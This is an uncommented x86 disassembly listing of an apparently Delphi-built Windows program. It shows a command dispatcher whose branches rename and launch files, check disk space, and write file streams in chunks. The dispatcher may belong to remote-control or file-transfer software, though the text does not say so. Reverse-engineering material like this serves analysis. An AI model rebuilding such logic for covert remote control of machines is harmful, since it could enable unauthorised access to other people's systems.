mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x980]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x980]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x34]
mov edx, 1
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x38]
mov edx, 2
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d37b0
lea eax, [ebp - 0x984]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
call fcn.00404880
mov eax, dword [ebp - 0x984]
call fcn.00404a2c
push eax
lea eax, [ebp - 0x988]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404880
mov eax, dword [ebp - 0x988]
call fcn.00404a2c
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x98]
call fcn.00403770
mov eax, dword [ebx + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
lea edx, [ebp - 0x98c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x98c]
mov eax, 0x53b58c
call fcn.004045d0
mov eax, dword [ebx + 0x10]
mov dword [0x53b590], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b59c], eax
mov al, byte [ebx + 0x18]
and al, 0xff
mov byte [0x53b598], al
mov eax, dword [ebx + 0x18]
and eax, 0x300
mov dword [0x53b594], eax
mov eax, 0x53b58c
call fcn.004d37b0
mov eax, dword [0x53b58c]
cmp byte [eax + 1], 0x3a
jne 0x4dae33
mov eax, dword [0x53b58c]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x53b5a0], al
jmp 0x4dae3a
mov byte [0x53b5a0], 0
mov eax, dword [0x53b58c]
call fcn.00404834
cmp eax, 3
jle case.0x4d7040.10
mov eax, dword [0x53b58c]
call fcn.00462d64
jmp case.0x4d7040.10
mov al, byte [ebx + 0x10]
mov byte [0x53b5ac], al
mov eax, dword [ebx + 0x14]
mov dword [0x53b5a8], eax
lea eax, [ebx + 0x20]
mov ebx, eax
mov eax, dword [ebx + 4]
mov dword [0x53b5b4], eax
mov eax, dword [ebx + 8]
mov dword [0x53b5b8], eax
mov eax, dword [ebx]
mov dword [0x53b5b0], eax
mov eax, dword [ebx + 0xc]
mov dword [0x53b5bc], eax
cmp byte [0x53b5a0], 0x41
jb 0x4daeca
mov al, byte [0x53b5a0]
sub al, 0x41
inc eax
call fcn.00409b98
sub eax, dword [0x53b5b4]
sbb edx, dword [0x53b5b8]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4daede
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4daef2
cmp dword [ebp - 0xa8], 0
jae 0x4daf1d
jmp 0x4daef4
jge 0x4daf1d
xor eax, eax
mov dword [0x53358c], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53b5a8]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
mov al, byte [0x53b5ac]
sub al, 2
jb 0x4daf2d
je 0x4daf62
jmp case.0x4d7040.10
mov byte [0x53b5c0], 0
mov dl, 1
mov eax, dword [0x4eebd4]
call fcn.00403740
mov dword [0x53358c], eax
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov dword [0x53b5c8], eax
xor eax, eax
mov dword [0x53b5c4], eax
jmp case.0x4d7040.10
mov byte [0x53b5c0], 0
lea eax, [ebp - 0x990]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.004047e4
mov ecx, dword [ebp - 0x990]
mov eax, 0x53b5a4
mov edx, dword [0x53b58c]
call fcn.00404880
mov eax, dword [0x53b5a4]
call fcn.004eb0a4
lea eax, [ebp - 0x994]
mov edx, dword [0x53b5a4]
call fcn.00404e38
mov eax, dword [ebp - 0x994]
mov dx, 0xffff
call fcn.0046da4c
mov dword [0x53358c], eax
cmp dword [0x53358c], 0
jne 0x4daff0
push 0
push 0
mov eax, dword [0x53b5a4]
push eax
push 0
push 0
mov ecx, dword [0x53b5a8]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
xor eax, eax
push ebp
push 0x4db01e
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x53b5b8]
push dword [0x53b5b4]
mov eax, dword [0x53358c]
call fcn.004631b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4db043
cmp dword [0x53358c], 0
je 0x4dafca
push 0
push 0
mov eax, dword [0x53358c]
call fcn.00463154
mov dl, 1
mov eax, dword [0x41448c]
call fcn.00403740
mov dword [0x53b5c8], eax
xor eax, eax
mov dword [0x53b5c4], eax
jmp case.0x4d7040.10
call fcn.004d62ac
jmp case.0x4d7040.10
lea edx, [ebp - 0x998]
mov eax, 0xa5
call fcn.004a94e4
mov eax, dword [ebp - 0x998]
mov edx, 0x4dcaac
call fcn.0046cc88
lea edx, [ebp - 0x99c]
mov eax, 0xa5
call fcn.004a94e4
mov eax, dword [ebp - 0x99c]
mov edx, 0x4dcac4
call fcn.0046cc88
jmp case.0x4d7040.10
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
mov ecx, 0x4dcadc
call fcn.00404880
mov eax, dword [ebp - 0x34]
call fcn.0046d6bc
test al, al
jne 0x4db139
lea eax, [ebp - 0x9a0]
mov edx, dword [ebp - 0x34]
call fcn.00404e38
mov eax, dword [ebp - 0x9a0]
mov dx, 0xffff
call fcn.0046da4c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4db139
mov eax, dword [0x53359c]
call fcn.00404834
push eax
mov eax, 0x53359c
call fcn.00404a84
mov edx, eax
mov eax, dword [ebp - 0x20]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00403770
push 1
push 0x4dc9b0
push 0x4dc9b0
lea eax, [ebp - 0x34]
call fcn.00404a84
push eax
push 0x4dc998
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d7040.10
mov eax, dword [0x53490c]
cmp dword [eax], 0
jne case.0x4d7040.10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4b2498]
call fcn.0041f210
mov edx, dword [0x53490c]
mov dword [edx], eax
jmp case.0x4d7040.10
mov eax, dword [0x53a154]
mov eax, dword [eax + 0x314]
cmp byte [eax + 0x94], 0
je case.0x4d7040.10
lea edx, [ebp - 0x9a4]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x9a4]
mov eax, dword [0x53a154]
mov eax, dword [eax + 0x314]
call fcn.0049e3e4
jmp case.0x4d7040.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd4
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x14]
mov dword [0x53b4d8], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058ec
call fcn.004058ec
mov dword [0x533510], eax
mov dword [0x533514], edx
cmp dword [0x533514], 0
jne 0x4db22c
cmp dword [0x533510], 0
jbe case.0x4d7040.10
jmp 0x4db232
jle case.0x4d7040.10
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
add eax, dword [0x533510]
adc edx, dword [0x533514]
mov dword [0x533510], eax
mov dword [0x533514], edx
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x14]
mov dword [0x53b4d8], eax
push 0
push 0x3e8
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058ec
mov dword [0x533510], eax
mov dword [0x533514], edx
cmp dword [0x533514], 0
jne 0x4db297
cmp dword [0x533510], 0
jbe case.0x4d7040.10
jmp 0x4db29d
jle case.0x4d7040.10
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
add eax, dword [0x533510]
adc edx, dword [0x533514]
mov dword [0x533510], eax
mov dword [0x533514], edx
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53b384]
cmp eax, edx
jne case.0x4d7040.10
mov eax, 0x53b4e8
mov dl, 1
call fcn.004ea260
test al, al
je case.0x4d7040.10
mov eax, dword [0x53b4e8]
call fcn.00404e58
cmp eax, dword [0x53b4ec]
jle 0x4db325
cmp dword [ebx + 0x14], 1
jne case.0x4d7040.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
mov eax, dword [0x53b4e8]
call fcn.00404e58
test eax, eax
jne 0x4db35a
cmp dword [ebx + 0x14], 1
jne case.0x4d7040.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
cmp byte [ebx + 0xc], 0xed
jne 0x4db387
movzx eax, word [0x53b384]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x53b4e8]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004d53b4
jmp case.0x4d7040.10
movzx eax, word [0x53b384]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x53b4e8]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004d53b4
jmp case.0x4d7040.10
movzx eax, word [0x53b384]
cmp eax, dword [ebx + 0x10]
jne case.0x4d7040.10
cmp byte [0x533528], 0
je case.0x4d7040.10
movzx ecx, word [0x53b384]
mov edx, 0x13
mov eax, dword [0x53b4fc]
call fcn.004d552c
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53b384]
cmp eax, edx
jne case.0x4d7040.10
mov eax, dword [0x53b4f0]
call fcn.00419614
cmp edx, 0
jne 0x4db412
cmp eax, 0
jbe case.0x4d7040.10
jmp 0x4db418
jle case.0x4d7040.10
movzx ecx, word [0x53b384]
mov edx, 0x14
mov eax, dword [0x53b4f0]
call fcn.004d552c
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53b384]
cmp eax, edx
jne case.0x4d7040.10
lea edx, [ebp - 0xd4]
mov eax, 0x28
call fcn.004a9d74
cmp dword [ebx + 0x14], 0
jne 0x4db47e
lea eax, [ebp - 0x9a8]
mov edx, dword [ebp - 0xd4]
call fcn.00404e38
mov eax, dword [ebp - 0x9a8]
mov dl, 1
call fcn.004ea2f4
jmp case.0x4d7040.10
cmp dword [ebx + 0x14], 2
jne case.0x4d7040.10
lea eax, [ebp - 0x9ac]
mov edx, dword [ebp - 0xd4]
call fcn.00404e38
mov eax, dword [ebp - 0x9ac]
mov dl, 1
call fcn.004ea384
jmp case.0x4d7040.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf7
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov eax, esi
call fcn.004af594
lea edx, [ebp - 0xe8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0
push 0
mov eax, dword [ebp - 0xe8]
call fcn.00404a2c
push eax
xor ecx, ecx
mov edx, 0xc8
mov eax, dword [ebp - 0x28]
call fcn.004d5314
mov eax, esi
call fcn.00403770
jmp case.0x4d7040.10
cmp dword [0x53358c], 0
jne 0x4db55d
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53b5cc]
jne case.0x4d7040.10
cmp byte [0x53b5c0], 0
je case.0x4d7040.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53b5cc]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53b5a8]
jne case.0x4d7040.10
push 0
push 0x400
mov eax, dword [0x53b5b4]
mov edx, dword [0x53b5b8]
add eax, 0x3ff
adc edx, 0
call fcn.00405910
mov ebx, eax
cmp ebx, dword [0x53b5c4]
jbe 0x4db5b4
mov edx, dword [0x53b5c4]
mov eax, dword [0x53b5c8]
call fcn.00416c4c
inc dword [0x53b5c4]
cmp ebx, dword [0x53b5c4]
ja 0x4db596
lea ebx, [ebp - 0x7a8]
lea esi, [ebx + 0x20]
mov eax, dword [0x53b5c8]
mov edi, dword [eax + 8]
dec edi
xor eax, eax
mov dword [ebp - 0x48], eax
test edi, edi
jl 0x4db5ed
mov edx, edi
mov eax, dword [0x53b5c8]
call fcn.00416da8
mov dword [esi], eax
add esi, 4
dec edi
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x140
jne 0x4db5cb
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xfe
mov byte [ebx + 0xe], 0
sub esi, ebx
mov dword [ebx + 4], esi
mov eax, dword [ebx + 4]
sub eax, 0x20
test eax, eax
jns 0x4db60b
add eax, 3
sar eax, 2
mov dword [ebx + 0x10], eax
mov eax, dword [0x53b5a8]
mov dword [ebx + 0x14], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d4e30
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x533518], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53351c], eax
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x532fa0], eax
jmp case.0x4d7040.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x34]
call fcn.004d37b0
mov eax, dword [ebp - 0x34]
call fcn.0046d6bc
test al, al
je case.0x4d7040.10
mov byte [ebp - 0xc9], 0
lea eax, [ebp - 0x9b0]
mov edx, dword [ebp - 0x34]
call fcn.00404e38
mov eax, dword [ebp - 0x9b0]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0xc8]
call fcn.0046e3dc
lea edx, [ebp - 0xc4]
mov eax, 1
call fcn.004a94e4
mov al, byte [0x4dcaec]
push eax
lea eax, [ebp - 0xc0]
push eax
lea edx, [ebp - 0x9b8]
mov eax, dword [0x534a7c]
mov eax, dword [eax]
call fcn.00409a74
mov edx, dword [ebp - 0x9b8]
lea eax, [ebp - 0x9b4]
call fcn.00404e38
mov eax, dword [ebp - 0x9b4]
push eax
lea eax, [ebp - 0x9bc]
mov edx, dword [ebp - 0xc4]
call fcn.00404e38
mov edx, dword [ebp - 0x9bc]
mov eax, dword [ebp - 0xbc]
pop ecx
call fcn.004f0288
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
call fcn.00404f70
je case.0x4d7040.10
lea eax, [ebp - 0x9c0]
mov edx, dword [ebp - 0x34]
call fcn.00404e38
mov eax, dword [ebp - 0x9c0]
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xc8]
call fcn.0046e4b8
jmp case.0x4d7040.10
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e395c
mov byte [0x532f5c], 1
call fcn.004d6314
xor edx, edx
mov eax, 4
call fcn.004d6334
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b2d8], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b2dc], eax
mov eax, dword [0x53b2d8]
cdq
push edx
push eax
lea eax, [ebp - 0x9c4]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9c4]
mov edx, 0x4dcaf8
call fcn.0046d2cc
mov eax, dword [0x53b2dc]
cdq
push edx
push eax
lea eax, [ebp - 0x9c8]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9c8]
mov edx, 0x4dcb0c
call fcn.0046d2cc
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b2e0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53b2e4], eax
mov eax, dword [0x53b2e0]
cdq
push edx
push eax
lea eax, [ebp - 0x9cc]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9cc]
mov edx, 0x4dcb20
call fcn.0046d2cc
mov eax, dword [0x53b2e4]
cdq
push edx
push eax
lea eax, [ebp - 0x9d0]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9d0]
mov edx, 0x4dcb34
call fcn.0046d2cc
jmp case.0x4d7040.10
mov al, byte [0x4dc9a8]
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x9d4]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov eax, dword [ebp - 0x9d4]
mov ecx, 0x4dcb48
mov edx, 0x4dcb54
call fcn.0040d908
lea eax, [ebp - 0xe8]
call fcn.00404a84
mov dword [ebp - 0xfc], eax
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea eax, [ebp - 0xec]
call fcn.004d37b0
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea edx, [ebp - 0xf8]
lea eax, [ebp - 0xfc]
call fcn.0046c048
lea eax, [ebp - 0x9d8]
mov edx, dword [ebp - 0xf4]
call fcn.00404e38
mov eax, dword [ebp - 0x9d8]
push eax
lea eax, [ebp - 0x9dc]
mov edx, dword [ebp - 0xf8]
call fcn.00404e38
mov eax, dword [ebp - 0x9dc]
push eax
mov eax, dword [ebx + 0x14]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0xf0]
call fcn.00404e38
mov ecx, dword [ebp - 0x9e0]
mov edx, dword [ebx + 0x10]
mov eax, dword [ebp - 0xec]
call fcn.004dd1d0
mov dword [ebp - 0x48], eax
cmp byte [ebx + 0xc], 0xff
jne 0x4db965
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebx + 0x14]
push eax
push 0
mov ecx, dword [ebx + 0x10]
and ecx, 0xffff
mov edx, dword [ebx + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe8]
call fcn.004dcc30
jmp case.0x4d7040.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0xe8]
call fcn.004d37b0
mov eax, dword [ebp - 0xe8]
call fcn.0046d6bc
test al, al
je case.0x4d7040.10
lea eax, [ebp - 0x9e4]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x9e4]
xor ecx, ecx
mov edx, 0x4dcb64
call fcn.0046d51c
mov dl, 1
mov eax, dword [ebp - 0xe8]
call fcn.004e2a84
jmp case.0x4d7040.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004d5178
jmp case.0x4d7040.10
mov byte [0x53b580], 0
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [0x53b584], eax
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
call fcn.0040307c
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
inc eax
call fcn.004d25dc
mov eax, 3
call fcn.0040307c
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0xe8]
mov eax, dword [ebp - 0x48]
call fcn.004d5be8
cmp dword [ebp - 0xe8], 0
jne 0x4dba95
lea eax, [ebp - 0xe8]
mov edx, 0x4dcb74
call fcn.00404614
push 0
push 0
lea eax, [ebp - 0xe8]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
call fcn.0040b070
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe8]
mov eax, 0x4dcb84
call fcn.0040bc84
push 0
push 0
lea eax, [ebp - 0xe8]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x110], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x10c], eax
push dword [ebp - 0x10c]
push dword [ebp - 0x110]
call fcn.004d3258
jmp case.0x4d7040.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
lea eax, [ebp - 0x9e8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov edx, dword [ebp - 0x9e8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xec]
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 2
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf8]
mov edx, 3
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xec]
call fcn.004d37b0
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0xec]
call fcn.00404e38
mov eax, dword [ebp - 0x9f4]
lea ecx, [ebp - 0x9f0]
lea edx, [ebp - 0x100]
call fcn.0046e3dc
mov edx, dword [ebp - 0x9f0]
lea eax, [ebp - 0x9ec]
call fcn.004047fc
mov edx, dword [ebp - 0x9ec]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0x100], 0xfffffffd
jne 0x4dbc0f
test byte [ebx + 0x10], 1
jne 0x4dbc0f
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp 0x4dbce6
cmp dword [ebp - 0x100], 0xfffffffe
jne 0x4dbc35
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp 0x4dbce6
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [ebp - 0xf8]
push eax
xor edx, edx
mov dl, byte [ebx + 0xc]
mov ecx, dword [ebp - 0xf0]
mov eax, esi
call fcn.004d6978
mov eax, dword [ebp - 0xec]
call fcn.004eb0a4
lea edx, [ebp - 0x9fc]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x9fc]
lea eax, [ebp - 0x9f8]
call fcn.00404e38
mov eax, dword [ebp - 0x9f8]
push eax
lea eax, [ebp - 0xa00]
mov edx, dword [ebp - 0xec]
call fcn.00404e38
mov eax, dword [ebp - 0xa00]
mov edx, dword [ebp - 0x100]
pop ecx
call fcn.0046e4b8
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x4dbcce
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp 0x4dbce6
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d5314
mov eax, esi
call fcn.00403770
jmp case.0x4d7040.10
mov dword [0x53b374], 1
jmp case.0x4d7040.10
xor eax, eax
call fcn.004eb478
jmp case.0x4d7040.97
call fcn.004eb45c
jmp case.0x4d7040.97
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0xa04]
mov edx, dword [ebp - 0xe8]
call fcn.00404e38
mov eax, dword [ebp - 0xa04]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0x100]
call fcn.0046e3dc
cmp dword [ebp - 0x100], 0
jl case.0x4d7040.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [ebp - 0x100]
je case.0x4d7040.10
lea eax, [ebp - 0xa08]
mov edx, dword [ebp - 0xe8]
call fcn.00404e38
mov eax, dword [ebp - 0xa08]
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebp - 0xbc]
call fcn.0046e4b8
jmp case.0x4d7040.10
cmp dword [0x532fb0], 0
je 0x4dbda2
mov dword [ebp - 0x48], 1
jmp 0x4dbda7
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d5314
jmp case.0x4d7040.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcba0
call fcn.00404b70
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa0c]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov eax, dword [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa10]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa10]
mov edx, 0x4dcbac
pop ecx
call fcn.0046d51c
mov eax, dword [ebx + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xa14]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa14]
mov edx, 0x4dcbbc
call fcn.0046d2cc
mov eax, dword [ebx + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xa18]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa18]
mov edx, 0x4dcbd0
call fcn.0046d2cc
lea eax, [ebp - 0xa1c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov eax, dword [ebp - 0xa1c]
push eax
lea eax, [ebp - 0xa20]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0xa20]
mov edx, 0x4dcbe4
pop ecx
call fcn.0046d51c
jmp case.0x4d7040.10
lea edx, [ebp - 0xa24]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xa24]
mov eax, 0x53b530
call fcn.004045d0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebx + eax*4 + 0x10]
mov dword [0x533550], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049dc18
cmp dword [0x533550], 0
jle case.0x4d7040.10
mov edx, dword [0x53b530]
mov eax, 0x4dcbf8
call fcn.00404b70
test eax, eax
jle 0x4dbf55
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049d9e8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53b530]
call fcn.0049dae4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049da64
jmp 0x4dbf89
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0049d9e8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049dae4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53b530]
call fcn.0049da64
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x533550]
call fcn.0049db64
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049dc10
jmp case.0x4d7040.10
mov al, byte [ebx + 0x10]
mov byte [0x532fb4], al
jmp case.0x4d7040.10
inc byte [0x532fb4]
mov eax, dword [0x532ee8]
call fcn.004f0ff4
movsx edx, byte [0x532fb4]
cmp eax, edx
jg case.0x4d7040.10
mov byte [0x532fb4], 0xff
jmp case.0x4d7040.10
lea edx, [ebp - 0xa2c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xa2c]
lea eax, [ebp - 0xa28]
call fcn.00404e38
mov eax, dword [ebp - 0xa28]
push eax
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0xa34]
mov ecx, 0x4dcc04
call fcn.00404880
mov edx, dword [ebp - 0xa34]
lea eax, [ebp - 0xa30]
call fcn.00404e38
mov eax, dword [ebp - 0xa30]
xor edx, edx
pop ecx
call fcn.0046e4b8
jmp case.0x4d7040.10
mov eax, dword [0x534868]
mov eax, dword [eax]
xor edx, edx
call fcn.004b2184
jmp case.0x4d7040.10
